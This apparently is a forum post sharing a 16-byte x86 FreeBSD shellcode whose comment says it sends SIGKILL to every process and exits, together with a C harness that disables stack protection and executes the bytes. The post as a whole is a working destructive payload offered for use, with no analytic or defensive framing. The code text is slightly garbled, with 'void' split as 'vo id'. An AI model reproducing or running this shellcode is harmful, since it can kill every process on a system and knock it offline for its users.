#Gecmise Donus \w xd3.
Kod:
[COLOR="White"]/*
* ::kill(-1, SIGKILL) & exit(0) Shellcode
* __author__: xd3
* __format__: ELF 32 Bit
* __platform__: x86/FreeBSD
* __size__: 16 Bytes
*
*/
/* Usage:
*
* # gcc -fno-stack-protector -z execstack xd3.c -o xd3
* # ./xd3
* [~] Byte-Code Len: 16
*
* login:
*/
#include <stdio.h>
#include <string.h>
const unsigned char xd3[] = \
"\x6a\x25\x58\x99"
"\x6a\x09\x6a\xff"
"\x52\xcd\x80\x52"
"\xb0\x01\xcd\x80";
int main(vo id){
printf("[~] Byte-Code Len: %d\n", strlen(xd3));
vo id (*sh3llcode)() = (vo id *)xd3;
sh3llcode();
}
[/COLOR]